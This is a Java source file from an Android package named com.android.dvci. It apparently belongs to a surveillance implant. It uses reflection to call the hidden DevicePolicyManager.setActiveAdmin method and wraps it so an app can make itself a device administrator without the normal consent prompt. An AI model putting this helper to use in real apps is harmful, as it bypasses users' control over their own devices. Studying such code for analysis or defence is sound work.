package com.android.dvci; import java.lang.reflect.Method; import android.app.admin.DevicePolicyManager; import android.content.ComponentName; import com.android.dvci.auto.Cfg; import com.android.dvci.util.Check; public class Reflect { private static final String TAG = "Reflect"; private static Method setActiveAdminPtr; static { initCompatibility(); }; public static void initCompatibility() { try { String methodName = "setActiveAdmin"; // 1st param - method name // 2nd param - class for each paramater setActiveAdminPtr = DevicePolicyManager.class.getMethod(methodName, ComponentName.class); // Print class methods String sClassName = "android.app.admin.DevicePolicyManager"; try { Class classToInvestigate = Class.forName(sClassName); Method[] aClassMethods = classToInvestigate.getDeclaredMethods(); for (Method m : aClassMethods) { if (Cfg.DEBUG) { Check.log(TAG + " (initCompatibility) Method: " + m); //$NON-NLS-1$ } } } catch (ClassNotFoundException e) { // Class not found! } catch (Exception e) { // Unknown exception } } catch (NoSuchMethodException nsme) { if (Cfg.EXCEPTION) { nsme.printStackTrace(); } } } // 1st param: class object on which we want to call the method // 2nd param: paramater(s) public static void setActiveAdmin(DevicePolicyManager dpm, ComponentName name) { try { setActiveAdminPtr.invoke(dpm, name); } catch (Exception e) { if (Cfg.EXCEPTION) { e.printStackTrace(); } } } }